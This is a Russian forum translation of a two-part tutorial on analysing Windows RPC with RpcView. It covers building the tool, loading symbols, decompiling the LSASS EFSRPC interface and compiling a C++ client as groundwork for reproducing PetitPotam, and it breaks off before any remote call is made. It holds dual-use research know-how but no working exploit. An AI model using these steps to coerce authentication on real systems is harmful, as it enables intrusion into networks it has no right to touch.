• XSS.stack #1 – первый литературный журнал от юзеров форума

Fuzzing Фаззинг Windows RPC с помощью RpcView [1/2]

Artem N

(L2) cache
Пользователь
Регистрация
28.11.2020
Сообщения
329
Реакции
278
Недавний выпуск PetitPotam от @topotam77 побудил меня вернуться к фаззингу Windows RPC. Я подумал, что было бы неплохо написать статью в блоге, рассказывающую о том, как можно влиться в эту область исследований.

RPC как цель для фаззинга?

Как вы знаете, RPC означает "Удалённый вызов процедур" и это не специфическая для Windows технология. Первые реализации RPC были представлены уже в UNIX-системах в восьмидесятых годах. Это позволило компьютерам общаться друг с другом по сети, и даже "использовалось как основа для сетевой файловой системы (NFS)" (источник: Wikipedia).

Реализация RPC, разработанная в Microsoft и используемая в Windows, называется DCE/RPC, что является сокращением от "Distributed Computing Environment / Remote Procedure Calls" (источник: Wikipedia). DCE/RPC - это лишь один из многих механизмов IPC (межпроцессных взаимодействий), используемых в Windows. Например, он используется для того, чтобы локальный процесс или даже удалённый клиент в сети мог взаимодействовать с другим процессом или службой на локальной или удалённой машине.


Как вы уже поняли, вопросы безопасности такого протокола особенно интересны. Уязвимости в сервере RPC могут иметь различные последствия, начиная от Отказа в обслуживании (DoS) до Удалённого выполнения кода (RCE), включая и Локальное повышение привилегий (LPE). В сочетании с тем, что код унаследованных RPC-серверов на Windows зачастую довольно старый (если исключить более современную модель DCOM), это делает его очень интересной целью для фаззинга.

Как фаззить Windows RPC?

Если говорить прямо, эта заметка не посвящена продвинутому и автоматизированному фаззингу. Другие, гораздо более талантливые люди нежели я, уже обсуждали эту тему. Скорее хочу показать как новичок может заняться подобным исследованием, не имея знаний в этой области.

Пентестеры используют Windows RPC каждый раз, когда работают в Windows/Active Directory с инструментами на базе impacket-утилит, возможно, не всегда полностью осознавая это. Использование Windows RPC, вероятно, стало более очевидным благодаря таким инструментам, как SpoolSample (он же "Printer Bug") от @tifkin_ или, в последствии, PetitPotam от @topotam77.

Если вы хотите узнать, как работают эти инструменты или хотите самостоятельно найти ошибки в Windows RPC, есть два основных подхода. Первый заключается в поиске интересных ключевых слов в документации и последующем экспериментировании путём модификации библиотеки impacket или написания RPC-клиента на C. Как объяснил @topotam77 в эпизоде 0x09 французского подкаста Hack'n Speak, этот подход был особенно эффективен при создании PetitPotam. Однако он имеет некоторые ограничения: главное из них заключается в том, что не все RPC-интерфейсы документированы, а существующая документация не всегда полная. Поэтому второй подход заключается в перечислении RPC-серверов непосредственно на машине с Windows с помощью такого инструмента, как RpcView.

RpcView

Если вы новичок в анализе RPC, то RpcView - лучший инструмент для начала работы. Он способен перечислить все RPC-серверы, запущенные на машине и представляет всю собранную информацию в виде симпатичного GUI. Когда вы ещё не знакомы с технической и/или абстрактной концепцией, возможность визуализировать всё таким образом является неоспоримым преимуществом.

1640366468278.png


Скриншот взят с сайта https://rpcview.org/.

Этот инструмент был первоначально разработан 4 французскими исследователями - Jean-Marie Borello, Julien Boutet, Jeremy Bouetard и Yoanne Girardin в 2017 году и до сих пор активно поддерживается. Его использование было продемонстрировано на PacSec 2017 в презентации A view into ALPC-RPC от Clément Rouault и Thomas Imbert. Эта презентация также сопровождалась инструментом RPCForge.

Загрузка и запуск RpcView в первый раз

Официальный репозиторий RpcView находится здесь: https://github.com/silverf0x/RpcView. После каждого коммита новый релиз автоматически собирается через AppVeyor. Таким образом вы всегда можете скачать последнюю версию здесь.

1640366751667.png


После распаковки 7z-архива вам нужно просто запустить RpcView.exe (лучше всего от имени администратора) и всё готово к работе. Однако если используемая вами версия Windows слишком свежая, вы получите ошибку, подобную приведённой ниже.

1640366841564.png


Согласно сообщению об ошибке, наша "версия среды выполнения" не поддерживается и мы должны отправить файл rpcrt4.dll команде разработчиков. Это сообщение может показаться немного загадочным для неофита, но беспокоиться не о чём, всё в полном порядке.

Библиотека rpcrt4.dll, как следует из её названия, буквально содержит "среду выполнения RPC". Другими словами, она содержит весь основной код, который позволяет RPC-клиенту и RPC-серверу взаимодействовать друг с другом.

Теперь, если мы посмотрим на файл README на GitHub, то увидим там раздел "Как добавить новую среду выполнения RPC". В нём говорится, что есть два способа решить эту проблему: первый - просто отредактировать файл RpcInternals.h и добавить нужную нам версию; второй - переделать rpcrt4.dll чтобы определить необходимые структуры (такие как RPC_SERVER). Реализация среды выполнения RPC меняется не так уж часто, поэтому первый вариант более подходит в нашем случае.

Компиляция RpcView

Мы видим, что наша среда выполнения RPC в настоящее время не поддерживается, поэтому нам придется обновить RpcInternals.h до нашей версии среды выполнения и собрать RpcView из исходников. Для этого нам понадобится следующее:
1) Visual Studio 2019 (Community)
2) CMake >= 3.13.2
3) Qt5 == 5.15.2
Я настоятельно рекомендую использовать виртуальную машину для подобных установок. К вашему сведению, я также использую Chocolatey - менеджер пакетов Windows - для автоматизации установки некоторых инструментов (например, Visual Studio, инструменты GIT).

Установка Visual Studio 2019

Вы можете скачать Visual Studio 2019 здесь или установить его с помощью Chocolatey.
Код:
choco install visualstudio2019community
В процессе работы вам также необходимо установить Windows SDK, он понадобится позже. Я использую следующий код PowerShell для поиска последней доступной версии SDK.
Код:
[string[]]$sdks = (choco search windbg | findstr "windows-sdk")
$sdk_latest = ($sdks | Sort-Object -Descending | Select -First 1).split(" ")[0]
И устанавливаю его с помощью программы Chocolatey. Если вы хотите установить его вручную, вы также можете скачать веб-установщик здесь.
Код:
choco install $sdk_latest
Как только Visual Studio будет установлена. Вам необходимо открыть "Visual Studio Installer".

1640367644985.png


И установить пакет "Desktop development with C++". Надеюсь, у вас надёжное подключение к Интернету и достаточно места на диске... 😬

1640367733903.png


Установка CMake

Установка CMake проста - достаточно выполнить следующую команду с помощью Chocolatey. Но, опять же, вы можете скачать его с официального сайта и установить вручную.
Код:
choco install cmake
CMake также является частью Visual Studio, но я никогда не пытался скомпилировать RpcView с помощью этой встроенной версии.

Установка Qt

На момент написания статьи в README указано, что версия Qt, используемая проектом - 5.15.2. Настоятельно рекомендую использовать именно эту версию, иначе могут возникнуть проблемы в процессе компиляции.

Вопрос в том, как найти и скачать Qt версии 5 5.15.2? Вот тут всё становится несколько сложнее, потому что этот процесс несколько запутан. Во-первых, вам нужно зарегистрировать учётную запись здесь. Это позволит использовать их собственный веб-инсталлятор. Затем вам нужно загрузить программу установки здесь.

1640368051733.png


После запуска программы установки она предложит вам войти в систему под своей учётной записью.

1640368083616.png


После этого можете оставить всё по умолчанию. Однако на шаге "Select Components" убедитесь, что выбрали Qt 5.15.2 только для MSVC 2019 32 & 64 бит. Это уже 2,37 ГБ данных для загрузки, но если вы выберете всё - получится около 60 ГБ. :oops:

1640368212746.png


Если вам повезло, программа установки должна запуститься. Но если нет, вы столкнётесь с ошибкой, приведённой ниже. На момент написания статьи тикет был открыт на их трекере, но, похоже, они не спешат это исправлять.

1640368339665.png


Чтобы решить эту проблему, я написал быстрый и грязный сценарий PowerShell, который загружает все необходимые файлы непосредственно с ближайшего зеркала Qt. Возможно, это противоречит условиям использования, но что поделаешь! Я просто хочу сделать работу.

Если оставить все значения по-умолчанию, скрипт загрузит и извлечёт все необходимые файлы для Visual Studio 2019 (32 и 64 бита) в C:\Qt\5.15.2\.

Убедитесь, что 7-Zip установлен перед запуском этого скрипта!
Код:
# Update these settings according to your needs but the default values should be just fine.
$DestinationFolder = "C:\Qt"
$QtVersion = "qt5_5152"
$Target = "msvc2019"
$BaseUrl = "https://download.qt.io/online/qtsdkrepository/windows_x86/desktop"
$7zipPath = "C:\Program Files\7-Zip\7z.exe"

# Store all the 7z archives in a Temp folder.
$TempFolder = Join-Path -Path $DestinationFolder -ChildPath "Temp"
$null = [System.IO.Directory]::CreateDirectory($TempFolder)

# Build the URLs for all the required components.
$AllUrls = @("$($BaseUrl)/tools_qtcreator", "$($BaseUrl)/$($QtVersion)_src_doc_examples", "$($BaseUrl)/$($QtVersion)")

# For each URL, retrieve and parse the "Updates.xml" file. This file contains all the information
# we need to dowload all the required files.
foreach ($Url in $AllUrls) {
    $UpdateXmlUrl = "$($Url)/Updates.xml"
    $UpdateXml = [xml](New-Object Net.WebClient).DownloadString($UpdateXmlUrl)
    foreach ($PackageUpdate in $UpdateXml.GetElementsByTagName("PackageUpdate")) {
        $DownloadableArchives = @()
        if ($PackageUpdate.Name -like "*$($Target)*") {
            $DownloadableArchives += $PackageUpdate.DownloadableArchives.Split(",") | ForEach-Object { $_.Trim() } | Where-Object { -not [string]::IsNullOrEmpty($_) }
        }
        $DownloadableArchives | Sort-Object -Unique | ForEach-Object {
            $Filename = "$($PackageUpdate.Version)$($_)"
            $TempFile = Join-Path -Path $TempFolder -ChildPath $Filename
            $DownloadUrl = "$($Url)/$($PackageUpdate.Name)/$($Filename)"
            if (Test-Path -Path $TempFile) {
                Write-Host "File $($Filename) found in Temp folder!"
            }
            else {
                Write-Host "Downloading $($Filename) ..."
                (New-Object Net.WebClient).DownloadFile($DownloadUrl, $TempFile)
            }
            Write-Host "Extracting file $($Filename) ..."
            &"$($7zipPath)" x -o"$($DestinationFolder)" $TempFile | Out-Null
        }
    }
}

Сборка RpcView

Мы готовы к работе. Однако не хватает последней детали: версии среды выполнения RPC. Когда я впервые попытался собрать RpcView из исходников, то был немного озадачен и не знал, какой номер версии должен быть. На самом деле всё очень просто (если знать, что делать...)

1640369254979.png


Вам просто нужно открыть свойства файла C:\Windows\System32\rpcrt4.dll и посмотреть версию файла. В моём случае это 10.0.19041.1081.
Затем вы можете загрузить исходный код.
Код:
git clone https://github.com/silverf0x/RpcView

После этого мы должны отредактировать оба файла .\RpcView\RpcCore\RpcCore4_64bits\RpcInternals.h и .\RpcView\RpcCore\RpcCore4_32bits\RpcInternals.h. В начале находится статический массив, который содержит все поддерживаемые версии.
C++:
static UINT64 RPC_CORE_RUNTIME_VERSION[] = {
    0x6000324D70000LL,  //6.3.9431.0000
    0x6000325804000LL,  //6.3.9600.16384
    ...
    0xA00004A6102EALL,  //10.0.19041.746
    0xA00004A61041CLL,  //10.0.19041.1052
}
Мы видим, что каждая версия представлена в виде longlong-значения. Например, версия 10.0.19041.1052 переводится как:
Код:
0xA00004A61041 = 0x000A (10) || 0x0000 (0) || 0x4A61 (19041) || 0x041C (1052)
Если мы применим то же преобразование к номеру версии 10.0.19041.1081, то получим следующий результат.
C++:
static UINT64 RPC_CORE_RUNTIME_VERSION[] = {
    0x6000324D70000LL,  //6.3.9431.0000
    0x6000325804000LL,  //6.3.9600.16384
    ...
    0xA00004A6102EALL,  //10.0.19041.746
    0xA00004A61041CLL,  //10.0.19041.1052
    0xA00004A610439LL,  //10.0.19041.1081
}

Наконец, мы можем создать решение в Visual Studio и собрать его. Я покажу только процесс компиляции 64-битной версии, но если вы хотите скомпилировать 32-битную версию, вы можете обратиться к документации. В любом случае, процессы похожи.
Для следующих команд я предполагаю следующее:
- Qt установлен в C:\Qt\5.15.2\.
- CMake установлен в C:\Program Files\CMake\.
- текущей рабочей директорией является папка с исходниками RpcView (например: C:\Users\lab-user\Downloads\RpcView\).

Код:
mkdir Build\x64
cd Build\x64
set CMAKE_PREFIX_PATH=C:\Qt\5.15.2\msvc2019_64\
"C:\Program Files\CMake\bin\cmake.exe" ../../ -A x64
"C:\Program Files\CMake\bin\cmake.exe" --build . --config Release

Кроме того, вы можете скачать последнюю версию с AppVeyor здесь, извлечь файлы и заменить RpcCore4_64bits.dll и RpcCore4_32bits.dll на версии, которые были скомпилированы и скопированы в .\RpcView\Build\x64\bin\Release\.
Если все прошло хорошо, RpcView наконец-то запустится! 🥳

1640369741617.png


Патчтинг RpcView

Если вы следили за происходящим, то, вероятно, заметили, что в итоге мы сделали всё это только для того, чтобы добавить числовое значение к двум библиотекам DLL. Конечно, есть более простой способ получить тот же результат. Мы можем просто исправить существующие DLL и заменить одно из существующих значений нашей собственной версией.

Для этого я открою обе DLL-библиотеки с помощью HxD. Мы знаем, что значение 0xA00004A61041C присутствует в обоих файлах, поэтому можем поискать его. Значения хранятся с использованием little-endian упорядочивания байтов, поэтому на самом деле нам придется искать шестнадцатеричный шаблон 1C04614A00000A00.

1640370016395.png


Здесь нам просто нужно заменить значение 1C04 (0x041C = 1052) на 3904 (0x0439 = 1081), потому что остальная часть номера версии такая же (10.0.19041).

После сохранения файлов, RpcView должен быть готов к работе. Это грязный хак, но он работает. И это гораздо эффективнее, чем собирать проект из исходников! :rolleyes:

Обновление: использование флага "force"

Как оказалось, вам даже не нужно проходить через все эти трудности. RpcView имеет недокументированный флаг командной строки /force, который можно использовать для отмены проверки версии RPC во время выполнения.
Код:
.\RpcView64\RpcView.exe /force

Честно говоря, я вообще не смотрел в код. Иначе наверняка увидел бы это. Урок усвоен. Спасибо @Cr0Eax за то, что обратил на это моё внимание. В любом случае, создание и исправление было хорошим испытанием, я думаю. :D

Начальная конфигурация

Теперь, когда RpcView запущен и работает, нам нужно немного настроить его, чтобы сделать пригодным для использования.

Частота обновления

Первое, что вы должны сделать - это снизить частоту обновления (особенно если вы запускаете его внутри виртуальной машины). Установите 10 секунд - вполне нормально. Вы даже можете установить этот параметр на "manual".

1640370423615.png


Символы

На скриншоте ниже мы видим, что есть раздел, который должен перечислять все процедуры или функции, которые открыты через RPC-сервер. На самом деле он содержит только адреса.

1640370487805.png


Это не очень удобно, но есть одна замечательная особенность большинства исполняемых файлов Windows: Microsoft публикует связанные с ними PDB-файлы (Program DataBase).
Эти символы можно настроить через пункт меню Options > Configure Symbols. Здесь я установил значение srv*C:\SYMBOLS.

1640370582936.png


Единственная загвоздка заключается здесь в том, что RpcView (в отличие от других инструментов) не может автоматически загружать PDB-файлы. Поэтому нам необходимо загрузить их заранее.

Если вы загрузили Windows SDK, то этот шаг будет довольно прост. SDK включает инструмент под названием symchk.exe, который позволяет получить PDB-файлы практически для любого EXE или DLL непосредственно с серверов Microsoft. Например, следующая команда позволяет загрузить символы для всех DLL в C:\Windows\System32\.
Код:
cd "C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\"
symchk /s srv*c:\SYMBOLS*https://msdl.microsoft.com/download/symbols C:\Windows\System32\*.dll

После загрузки символов необходимо перезапустить RpcView. После этого вы должны увидеть, что имя каждой функции определено в разделе "Procedures". :cool:

1640370776017.png


Заключение

Этот пост уже длиннее, чем я предполагал, поэтому на этом закончу. Если вы новичок, то у вас уже есть все основы для начала работы. Основное преимущество инструмента на основе графического интерфейса заключается в том, что вы можете легко изучить и визуализировать некоторые внутренние компоненты и концепции, которые могут быть трудно понять в ином случае.

Если вам понравилась эта статья, не стесняйтесь сообщить мне в Twitter. Я лишь поверхностно остановился на этом, но это может стать началом серии статей, в которых я исследую Windows RPC. В следующей части объясню как взаимодействовать с сервером RPC. В частности, думаю, было бы неплохо использовать PetitPotam в качестве примера и показать как вы можете повторить это, основываясь на информации, которую вы получаете из RpcView.

---
Оригинал статьи: https://itm4n.github.io/fuzzing-windows-rpc-rpcview/
Переведено специально для xss.pro. Спасибо Azrv3l за наводку.
 
От RpcView к PetitPotam [2/2]

В предыдущей статье мы рассмотрели, как настроить систему Windows для ручного анализа Windows RPC с помощью RpcView. Здесь рассмотрим, как информация, предоставляемая этим инструментом, может быть использована для создания базового клиентского приложения на C/C++. Затем - как можно воспроизвести трюк, использованный в инструменте PetitPotam.

Теория

Прежде чем погрузиться в основную тему, необходимо обсудить некоторые базовые понятия, чтобы убедиться, что мы находимся на одной волне. Во-первых, как я уже говорил в предыдущей статье, DCE/RPC - это один из многих механизмов IPC, используемых в Windows. Он позволяет процессу A - RPC-клиенту - вызывать процедуры или функции, которые реализованы и выполняются в процессе B - RPC-сервере.

Однако в связи с этим возникают некоторые вопросы, которые я кратко рассмотрю в следующих параграфах:
- как RPC-клиент отличает один сервер RPC от другого?
- как RPC-клиент узнаёт какие процедуры/функции открыты RPC-сервером?
- как RPC-клиент вызывает удалённые процедуры/функции?

Определение интерфейса

Я предполагаю, что вы знакомы с понятием интерфейса в контексте объектно-ориентированного программирования (ООП). Интерфейс - это своего рода контракт, состоящий из набора методов, которые объект должен реализовать. В случае RPC точно такая же идея. Разница в том, что методы реализуются в другом процессе и даже могут быть доступны с удалённой машины в сети.

Если клиент хочет использовать интерфейс, ему сначала нужно узнать что написано в контракте интерфейса. Другими словами, нужна следующая информация:
- GUID интерфейса: как идентифицировать интерфейс?
- последовательности протоколов: как взаимодействовать с этим интерфейсом?
- Opnum (т.е. procedure ID): какую процедуру вызвать?
- параметры: какая информация нужна серверу для выполнения?

Для этого разработчик RPC-сервера обычно выпускает IDL-файл (Interface Definition Language). Назначение этого файла - предоставить разработчику RPC-клиента всю необходимую информацию, чтобы он мог использовать этот интерфейс, не заботясь о его фактической реализации на стороне сервера. В некотором смысле IDL для интерфейсов RPC очень похож на WSDL/WADL для веб-сервисов и приложений.

В качестве примера PetitPotam использует протокол Encrypting File System Remote Protocol (EFSRPC), который основан на интерфейсе EFSR. Полный файл IDL, соответствующий этому интерфейсу, можно найти здесь, но я также покажу его часть ниже.
C++:
import "ms-dtyp.idl";

[
    uuid(c681d488-d850-11d0-8c52-00c04fd90f7e),
    version(1.0),
]

interface efsrpc
{
    typedef [context_handle] void * PEXIMPORT_CONTEXT_HANDLE;
    typedef pipe unsigned char EFS_EXIM_PIPE;
   
    /* [snip] */

    long EfsRpcOpenFileRaw(
        [in]            handle_t                   binding_h,
        [out]           PEXIMPORT_CONTEXT_HANDLE * hContext,
        [in, string]    wchar_t                  * FileName,
        [in]            long                       Flags
    );

    long EfsRpcReadFileRaw(
        [in]            PEXIMPORT_CONTEXT_HANDLE   hContext,
        [out]           EFS_EXIM_PIPE            * EfsOutPipe
    );

    /* [snip] */
}
В этом файле мы можем найти UUID интерфейса, некоторые определения типов и прототипы доступных процедур/функций. Это вся информация, необходимая клиенту для вызова удалённых процедур.

Последовательности протоколов

Знание того, какие процедуры/функции предоставляются интерфейсом, на самом деле недостаточно для взаимодействия с ним. Клиент также должен знать, как получить доступ к этому интерфейсу. То, как клиент общается с RPC-сервером, называется последовательностью протоколов. В зависимости от реализации RPC-сервера данный интерфейс может быть доступен несколькими путями.
Вообще говоря, Windows поддерживает три протокола (источник):
1) NCACN - протокол, ориентированный на соединение
2) NCADG - датаграммно-ориентированный протоков
3) NCALRPC - обёртка вокруг портов LPC (Локальный вызов процедур)

RPC-протоколы, используемые для удалённых соединений (NCACN и NCADG) через сеть, могут поддерживаться многими транспортными протоколами. Наиболее распространённым транспортным протоколом, очевидно, является TCP/IP, но могут использоваться и другие более экзотические протоколы, такие как IPX/SPX или AppleTalk DSP. Полный список поддерживаемых транспортных протоколов доступен здесь.

Хотя поддерживается аж 14 последовательностей протоколов, только 4 из них широко используются:
1) ncacn_ip_tcp - протокол с установлением соединения над TCP/IP
2) ncacn_np - соединение по именованным каналам
3) ncacn_http - соединение по HTTP
4) ncalrpc - локальные конечные точки

Например, при использовании ncacn_np запросы DCE/RPC инкапсулируются в пакеты SMB и отправляются на удалённый именованный канал. С другой стороны, при использовании ncacn_ip_tcp запросы DCE/RPC отправляются напрямую по TCP. Я сделал следующую диаграмму, чтобы проиллюстрировать эти 4 последовательности протоколов.

1640374263480.png


Биндинг хэндлов

Как только вы узнали определение интерфейса и какой протокол использовать, у вас есть (почти) вся информация, необходимая для подключения или привязки к удалённому или локальному RPC-серверу.

Эта идея очень похожа на работу с объектами ядра. Например, когда вы хотите записать некоторые данные в файл, вы сначала вызываете CreateFile, чтобы открыть его. В ответ ядро дает вам хэндл, который вы можете использовать для записи данных, передав его в WriteFile. Аналогично, при использовании RPC вы подключаетесь к RPC-серверу, создавая хэндл, который затем можно использовать для вызова процедур и функций интерфейса, к которому вы запросили доступ. Всё очень просто.

Однако эта аналогия неполная, поскольку RPC-клиент инициирует свой собственный хэндл. RPC-сервер затем отвечает за контроль того, что клиент имеет соответствующие привилегии для вызова данной процедуры.

В отличие от объектов ядра, существует несколько типов хэндлов привязки: автоматический, неявный и явный. Тип определяет какой объём работы должен выполнить клиент для инициализации и/или управления им. В этой статье я рассмотрю только один пример, но я сделал ещё одну диаграмму, чтобы проиллюстрировать эти различные случаи.

1640374685778.png


Например, если RPC-сервер требует использования явных хэндлов привязки, вам, как клиенту, придётся сначала написать код для их создания, а затем явно передавать их в качестве аргумента при каждом вызове. С другой стороны, если сервер требует использования автоматических хэндлов, вы можете просто вызвать удалённую процедуру, а среда выполнения RPC позаботится обо всём остальном: о подключении к серверу, передаче хэндла и его закрытии по завершении работы.

Пример "PetitPotam"

Протокол EFSRPC хорошо документирован здесь, но притворимся, что этой документации не существует. Итак, сначала мы посмотрим как можно собрать всю необходимую нам информацию с помощью RpcView. Затем - как можно использовать эту информацию для написания простого RPC-клиента. И наконец, используем этого клиента, чтобы немного поэкспериментировать и посмотреть что можно сделать с доступными RPC-процедурами.

Исследование EFSRPC с помощью RpcView

Представим, что мы случайно просматриваем вывод RpcView в поисках интересных имён процедур. Поскольку мы скачали PDB-файлы для всех DLL, которые находятся в C:\Windows\System32 и настроили соответствующий путь в опциях (1-ая часть статьи), это должно быть похоже на видеоигру. :cool:

1640375210240.png


Нажав на процесс LSASS (1), мы видим, что он содержит множество RPC-интерфейсов. Поэтому мы проходим их один за другим и останавливаемся на интерфейсе с GUID c681d488-d850-11d0-8c52-00c04fd90f7e (2), потому что он раскрывает несколько процедур, которые, по-видимому, выполняют файловые операции (в соответствии с их названием) (3).

Файловые операции, инициированные низкопривилегированными пользователями и выполняемые привилегированными процессами (например, службами, работающими от имени SYSTEM), всегда интересны для исследования, поскольку они могут привести к Локальному повышению привилегий (или даже Удалённому выполнению кода в некоторых случаях). Кроме того, их относительно легко найти и визуализировать, например, с помощью Process Monitor.

В нашем примере RpcView предоставляет другую очень полезную информацию. Он показывает, что выбранный нами интерфейс открывается через именованный пайп: \pipe\lsass (4). Он также показывает нам имя процесса, путь к исполняемому файлу и пользователя, от имени которого он запущен (5). Наконец, мы знаем, что этот интерфейс является частью "LSA расширения для EFS", которое реализовано в C:\Windows\System32\efslsaext.dll (6).

Сбор всей необходимой информации

Как я уже объяснил в начале, для взаимодействия с RPC-сервером клиенту необходима определённая информация: идентификатор интерфейса, последовательность протоколов и определение самого интерфейса. Как мы видели в предыдущей части, RpcView уже даёт нам ID интерфейса и последовательность протоколов, но что насчёт определения интерфейса?

1) ID интерфейса: c681d488-d850-11d0-8c52-00c04fd90f7e
2) Последовательность: ncacn_np
3) Имя: \pipe\lsass

И здесь начинается то, что является, по всей видимости, самой мощной функцией RpcView. Если вы выберете интересующий вас интерфейс и щёлкните на нём правой кнопкой мыши, то увидите опцию, которая позволяет вам "декомпилировать" его. Декомпилированный" IDL-код появится в окне "Декомпиляция" прямо над ним.

1640375724632.png


Несмотря на то, что эта возможность очень эффективна, она не является на 100% надёжной. Поэтому не стоит ожидать что она всегда будет выдавать работоспособный файл прямо "из коробки". Кроме того, в процессе неизбежно теряется некоторая информация, например, названия структур. Далее я расскажу о некоторых распространённых ошибках, с которыми вы можете столкнуться при использовании сгенерированного IDL-файла.

Создание RPC-клиента для интерфейса EFSRPC на C/C++

Теперь, когда у нас есть вся необходимая информация, мы можем создать RPC-клиент на C/C++ и начать "играться" с интерфейсом.

Так как я уже объяснял, как установить и настроить Visual Studio, то не буду повторять этот шаг. Обратите внимание, что я использую Visual Studio Community 2019, а также последнюю версию Windows 10 SDK. Версии не так важны, так как мы не делаем ничего сложного.

Давайте запустим Visual Studio и создадим новый консольный проект C++.

1640375997661.png


Я просто назову его EfsrClient и сохраню в C:\Workspace.

1640376046759.png


Visual Studio автоматически создаст файл EfsrClient.cpp, который содержит функцию main вместе с некоторыми комментариями, объясняющими, как собирать проект. Обычно я избавляюсь от этих комментариев и переписываю функцию следующим образом, просто чтобы начать с чистого файла.
C++:
int wmain(int argc, wchar_t* argv[])
{
   
}
Следующее, что вы должны сделать - это вернуться в RpcView, выбрать декомпилированное определение интерфейса, скопировать его содержимое и сохранить как новый файл в ваш проект. Для этого вы можете просто щёлкнуть правой кнопкой мыши на папке "Source Files", а затем Add > New Item....

1640376244259.png


В диалоговом окне выберите шаблон C++ File (.cpp), а в поле Name введите что-то вроде efsr.idl. Хотя шаблон не важен, расширение файла должно быть .idl, потому что оно определяет какой компилятор Visual Studio будет использовать для этого файла. В данном случае он будет использовать MIDL-компилятор.

1640376331826.png


После этого у вас должен появиться новый файл efsr.idl в папке "Source Files". Далее следует щёлкнуть правой кнопкой мыши на нашем IDL-файле и скомпилировать его. Но перед этим не забудьте выбрать соответствующую целевую архитектуру: x86 или x64. Действительно, компилятор MIDL создаёт код, зависящий от архитектуры, поэтому, если вы скомпилируете IDL-файл для архитектуры x86, а затем решите скомпилировать приложение для архитектуры x64, то у вас возникнут проблемы.

1640376480059.png


Если всё прошло успешно, в окне Build Output вы должны увидеть нечто подобное.

1640376520041.png


На данный момент компилятор MIDL создал 3 файла:

1) efsr_h.h - по сути, это определения функций и структур, заголовочный файл...
2) efsr_c.c - код для выполнения RPC на стороне клиента
3) efsr_s.c - код для выполнения RPC на стороне сервера, нам не нужен

1640376702248.png


Хоть эти файлы и были созданы в папке решения, они не добавляются автоматически в само решение, поэтому нам нужно сделать это вручную.
1) щёлкните правой кнопкой мыши на папке "Header Files", Add > Existing Item... > efsr_h.h > Add.
2) щёлкните правой кнопкой мыши на папке "Source Files", Add > Existing Item... > efsr_c.c > Add.

1640376791037.png


Прежде чем двигаться дальше, мы должны убедиться, что заголовочные и исходные файлы правильно сформированы.

1640376850921.png


Здесь мы видим, что существует проблема с файлом efsr_h.h. Некоторые определения структур были вставлены в середине прототипов функций.
C++:
long Proc1_EfsRpcReadFileRaw_Downlevel(
  [in][context_handle] void* arg_0,
  [out]pipe char* arg_1);

long Proc2_EfsRpcWriteFileRaw_Downlevel(
  [in][context_handle] void* arg_0,
  [in]pipe char* arg_1);

Если проверить определения этих двух функций в IDL-файле, то увидим, что ключевое слово pipe было вставлено, но MIDL-компилятор не обработал его должным образом. На данный момент мы можем просто удалить это ключевое слово и скомпилировать всё заново.

тип, определённый RpcView, был на самом деле правильным, но из-за синтаксиса компилятор не смог выдать правильный код. В оригинальном IDL-файле тип arg_1 - EFS_EXIM_PIPE*, где EFS_EXIM_PIPE действительно определён как pipe unsigned char.

После этого заголовочный файл выглядит гораздо лучше. У нас больше нет синтаксических ошибок в этом файле.

1640377129561.png


Далее я обычно просто подключаю заголовочный файл к основному коду и компилирую как есть, чтобы проверить, есть ли у нас ещё какие-либо ошибки.
C++:
#include "efsr_h.h"

int wmain(int argc, wchar_t* argv[])
{
   
}

1640377192390.png


Здесь мы имеем 3 ошибки. Файлы были успешно скомпилированы, но компоновщик не смог найти некоторые символы: NdrClientCall3, MIDL_user_free и MIDL_user_allocate.

1640377252796.png


Прежде всего, функции MIDL_user_allocate и MIDL_user_free используются для выделения и освобождения памяти для RPC-заглушек. Они документированы здесь и здесь. При реализации RPC-приложения они должны быть определены. Это звучит сложнее, чем есть на самом деле. На практике нам просто нужно добавить следующий код в файл.
C++:
void __RPC_FAR * __RPC_USER midl_user_allocate(size_t cBytes)
{
    return((void __RPC_FAR *) malloc(cBytes));
}

void __RPC_USER midl_user_free(void __RPC_FAR * p)
{
    free(p);
}

Если мы снова соберём проект, то увидим, что ошибки исчезли, а на их месте появились два предупреждения, которые мы проигнорируем.

1640377409491.png


Одна ошибка всё же осталась: компоновщик не может найти функцию NdrClientCall3. Функции NdrClientCall* являются краеугольным камнем коммуникации между клиентом и сервером, поскольку они и выполняют всю "тяжёлую" работу. Всякий раз, когда вы вызываете удалённую процедуру, они сериализуют ваши параметры, отправляют запрос в виде пакета на сервер, получают ответ, десериализуют его и, в итоге, возвращают результат.

Для примера, вот как выглядит определение процедуры EfsRpcOpenFileRaw в efsr_c.c. Видно, что на стороне клиента EfsRpcOpenFileRaw в основном состоит из "простого" вызова NdrClientCall3.
C++:
long Proc0_EfsRpcOpenFileRaw_Downlevel(
    /* [context_handle][out] */ void **arg_1,
    /* [string][in] */ wchar_t *arg_2,
    /* [in] */ long arg_3)
{

    CLIENT_CALL_RETURN _RetVal;

    _RetVal = NdrClientCall3(
                  ( PMIDL_STUBLESS_PROXY_INFO  )&DefaultIfName_ProxyInfo,
                  0,
                  0,
                  arg_1,
                  arg_2,
                  arg_3);
    return ( long  )_RetVal.Simple;
}

Я намеренно не стал изменять имена функций, генерируемых RpcView, чтобы подчеркнуть тот факт, что они не имеют значения. В итоге сервер просто получает значение Opnum, которое является числовым значением, идентифицирующим процедуру для внутреннего вызова. В случае EfsRpcOpenFileRaw это значение будет равно 0 (второй аргумент NdrClientCall3).
C++:
CLIENT_CALL_RETURN RPC_VAR_ENTRY NdrClientCall3(
  MIDL_STUBLESS_PROXY_INFO *pProxyInfo,
  unsigned long            nProcNum,
  void                     *pReturnValue,
  ...                    
);

Давайте вернёмся к нашему сообщению об ошибке. Когда компоновщик не может разрешить функцию, это обычно означает, что мы должны явно указать, где он может его найти. Под "где" я подразумеваю "в какой DLL". Такую информацию обычно можно найти в документации, поэтому давайте проверим, что мы можем найти здесь о функции NdrClientCall3.

1640377742394.png


Документация сообщает о том, что функция NdrClientCall3 экспортируется из RpcRT4.dll. Ничего удивительного, поскольку именно эта DLL реализует среду выполнения RPC (помните мой предыдущий пост?). Это означает, что мы должны сослаться на файл RpcRT4.lib в нашем приложении. Для этого я использую следующую директиву, а не изменяю конфигурацию проекта.
C++:
#pragma comment(lib, "RpcRT4.lib")

Если вы следили за всем этим, ваш код должен выглядеть следующим образом (и вы также должны быть в состоянии собрать проект).

1640377884341.png


Написание PoC

На данном этапе мы уже прошли множество шагов, а наше приложение по-прежнему ничего не делает. Пришло время посмотреть, как вызвать удалённую процедуру. Обычно этот процесс происходит следующим образом.

1) Вызовите RpcStringBindingCompose для создания строкового представления биндинга, его можно представить как URL.
